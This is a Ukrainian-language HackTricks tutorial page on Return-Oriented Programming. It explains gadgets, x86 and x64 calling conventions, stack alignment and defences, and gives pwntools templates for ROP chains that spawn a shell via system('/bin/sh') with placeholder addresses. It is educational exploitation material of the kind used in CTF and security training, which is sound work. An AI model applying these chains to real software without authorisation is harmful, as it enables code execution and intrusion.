.. | ||
ret2lib | ||
rop-syscall-execv | ||
srop-sigreturn-oriented-programming | ||
brop-blind-return-oriented-programming.md | ||
README.md | ||
ret2csu.md | ||
ret2dlresolve.md | ||
ret2esp-ret2reg.md | ||
ret2vdso.md |
ROP - Return Oriented Programing
{% hint style="success" %}
Вивчайте та практикуйте взлом AWS: Навчання HackTricks AWS Red Team Expert (ARTE)
Вивчайте та практикуйте взлом GCP: Навчання HackTricks GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами на Twitter 🐦 @hacktricks_live.
- Поширюйте хакерські трюки, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Основна інформація
Return-Oriented Programming (ROP) - це високорівнева техніка експлуатації, яка використовується для обходу заходів безпеки, таких як No-Execute (NX) або Data Execution Prevention (DEP). Замість впровадження та виконання shellcode, зловмисник використовує шматки коду, вже присутні у бінарному файлі або завантажених бібліотеках, відомі як "гаджети". Кожен гаджет зазвичай закінчується інструкцією ret
та виконує невелику операцію, таку як переміщення даних між регістрами або виконання арифметичних операцій. З'єднавши ці гаджети, зловмисник може скласти навантаження для виконання довільних операцій, ефективно обходячи захист NX/DEP.
Як працює ROP
- Перехоплення потоку управління: Спочатку зловмисник повинен перехопити потік управління програми, зазвичай використовуючи переповнення буфера для перезапису збереженого адреси повернення на стеку.
- Ланцюжок гаджетів: Потім зловмисник уважно вибирає та з'єднує гаджети для виконання потрібних дій. Це може включати підготовку аргументів для виклику функції, виклик функції (наприклад,
system("/bin/sh")
) та обробку будь-яких необхідних завершальних або додаткових операцій. - Виконання навантаження: Коли уразлива функція повертається, замість повернення до законного місця, вона починає виконувати ланцюжок гаджетів.
Інструменти
Зазвичай гаджети можна знайти за допомогою ROPgadget, ropper або безпосередньо з pwntools (ROP).
Приклад ланцюжка ROP в x86
Конвенції виклику для x86 (32-біт)
- cdecl: Викликач очищає стек. Аргументи функції додаються на стек у зворотньому порядку (справа наліво). Аргументи додаються на стек зправа наліво.
- stdcall: Схоже на cdecl, але викликаний об'єкт відповідає за очищення стеку.
Пошук гаджетів
Спочатку припустимо, що ми ідентифікували необхідні гаджети у бінарному файлі або його завантажених бібліотеках. Гаджети, які нас цікавлять:
pop eax; ret
: Цей гаджет видаляє верхнє значення зі стеку в регістрEAX
та повертається, дозволяючи нам контролюватиEAX
.pop ebx; ret
: Схожий на попередній, але для регіструEBX
, що дозволяє контролюватиEBX
.mov [ebx], eax; ret
: Переміщує значення зEAX
до пам'яті, на яку вказуєEBX
, та повертається. Це часто називається гаджетом write-what-where.- Крім того, ми маємо адресу функції
system()
.
Ланцюжок ROP
За допомогою pwntools ми підготовлюємо стек для виконання ланцюжка ROP наступним чином з метою виконання system('/bin/sh')
, зверніть увагу, як починається ланцюжок:
- Інструкція
ret
для вирівнювання (необов'язково) - Адреса функції
system
(припускаючи вимкнене ASLR та відому libc, додаткова інформація в Ret2lib) - Заповнювач для адреси повернення від
system()
- Адреса рядка
"/bin/sh"
(параметр для функції system)
from pwn import *
# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)
# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))
# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de
# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe # This could be any gadget that allows us to control the return address
# Construct the ROP chain
rop_chain = [
ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr, # Address of system(). Execution will continue here after the ret gadget
0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system()
]
# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)
# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
Ланцюжок ROP у прикладі x64
Викликові конвенції x64 (64-бітні)
- Використовує конвенцію виклику System V AMD64 ABI на системах подібних до Unix, де перші шість цілих або вказівникових аргументів передаються в регістри
RDI
,RSI
,RDX
,RCX
,R8
таR9
. Додаткові аргументи передаються через стек. Результат повертається вRAX
. - Викликова конвенція Windows x64 використовує
RCX
,RDX
,R8
таR9
для перших чотирьох цілих або вказівникових аргументів, з додатковими аргументами, що передаються через стек. Результат повертається вRAX
. - Регістри: 64-бітні регістри включають
RAX
,RBX
,RCX
,RDX
,RSI
,RDI
,RBP
,RSP
, таR8
доR15
.
Пошук Гаджетів
Для наших цілей давайте зосередимося на гаджетах, які дозволять нам встановити регістр RDI (щоб передати рядок "/bin/sh" як аргумент до system()) і потім викликати функцію system(). Ми припустимо, що ми ідентифікували наступні гаджети:
- pop rdi; ret: Викидає верхнє значення стеку в RDI і потім повертається. Істотний для встановлення нашого аргументу для system().
- ret: Простий повернення, корисний для вирівнювання стеку в деяких сценаріях.
І ми знаємо адресу функції system().
Ланцюжок ROP
Нижче наведено приклад використання pwntools для налаштування та виконання ланцюжка ROP з метою виконання system('/bin/sh') на x64:
from pwn import *
# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)
# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))
# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef
# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead # ret gadget for alignment, if necessary
# Construct the ROP chain
rop_chain = [
ret_gadget, # Alignment gadget, if needed
pop_rdi_gadget, # pop rdi; ret
bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system()
system_addr # Address of system(). Execution will continue here.
]
# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)
# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
У цьому прикладі:
- Ми використовуємо гаджет
pop rdi; ret
для встановленняRDI
на адресу"/bin/sh"
. - Ми безпосередньо переходимо до
system()
після встановленняRDI
, з адресою system() в ланцюжку. ret_gadget
використовується для вирівнювання, якщо це потрібно в цільовому середовищі, що є більш поширеним у x64, щоб забезпечити належне вирівнювання стеку перед викликом функцій.
Вирівнювання стеку
ABI x86-64 забезпечує, що стек вирівнюється на 16 байтів, коли виконується інструкція виклику. LIBC, для оптимізації продуктивності, використовує інструкції SSE (наприклад movaps), які вимагають цього вирівнювання. Якщо стек не вирівняний належним чином (означає, що RSP не є кратним 16), виклики функцій, таких як system, не вдасться в ROP ланцюжку. Щоб виправити це, просто додайте ret гаджет перед викликом system у вашому ROP ланцюжку.
Відмінність між x86 та x64
{% hint style="success" %} Оскільки x64 використовує регістри для перших кількох аргументів, часто потрібно менше гаджетів, ніж у x86 для простих викликів функцій, але пошук та ланцюження правильних гаджетів може бути складнішим через збільшену кількість регістрів та більший адресний простір. Збільшена кількість регістрів та більший адресний простір у x64 архітектурі надають як можливості, так і виклики для розвитку експлойтів, особливо в контексті Return-Oriented Programming (ROP). {% endhint %}
ROP ланцюжок у прикладі ARM64
Основи ARM64 та конвенції виклику
Перевірте наступну сторінку для цієї інформації:
{% content-ref url="../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %} arm64-basic-assembly.md {% endcontent-ref %}
Захист від ROP
- ASLR & PIE: Ці захисти ускладнюють використання ROP, оскільки адреси гаджетів змінюються між виконанням.
- Stack Canaries: У випадку переповнення буфера, потрібно обійти захист стекового канарейки, щоб переписати вказівники повернення для зловживання ROP ланцюжком.
- Відсутність гаджетів: Якщо гаджетів недостатньо, не буде можливо створити ROP ланцюжок.
Техніки на основі ROP
Зверніть увагу, що ROP - це лише техніка для виконання довільного коду. На основі ROP було розроблено багато технік Ret2XXX:
- Ret2lib: Використовуйте ROP для виклику довільних функцій з завантаженої бібліотеки з довільними параметрами (зазвичай щось на зразок
system('/bin/sh')
.
{% content-ref url="ret2lib/" %} ret2lib {% endcontent-ref %}
- Ret2Syscall: Використовуйте ROP для підготовки виклику системного виклику, наприклад
execve
, та виконання довільних команд.
{% content-ref url="rop-syscall-execv/" %} rop-syscall-execv {% endcontent-ref %}
- EBP2Ret & EBP Chaining: Перше буде використовувати EBP замість EIP для контролю потоку, а друге схоже на Ret2lib, але в цьому випадку потік контролюється в основному адресами EBP (хоча також потрібно контролювати EIP).
{% content-ref url="../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md" %} stack-pivoting-ebp2ret-ebp-chaining.md {% endcontent-ref %}
Інші Приклади та Посилання
- https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions
- https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html
- 64 біти, Pie та nx увімкнено, немає канарейки, перезаписати RIP з адресою
vsyscall
з єдиним метою або повернутися до наступної адреси в стеку, яка буде частковим перезаписом адреси для отримання частини функції, яка витікає прапорець - https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/
- arm64, без ASLR, ROP гаджет для зроблення стеку виконавчим та переходу до shellcode в стеці
{% hint style="success" %}
Вивчайте та практикуйте взлом AWS:Навчання HackTricks AWS Red Team Expert (ARTE)
Вивчайте та практикуйте взлом GCP: Навчання HackTricks GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Поділіться хакерськими трюками, надсилайте PR до HackTricks та HackTricks Cloud github репозиторіїв.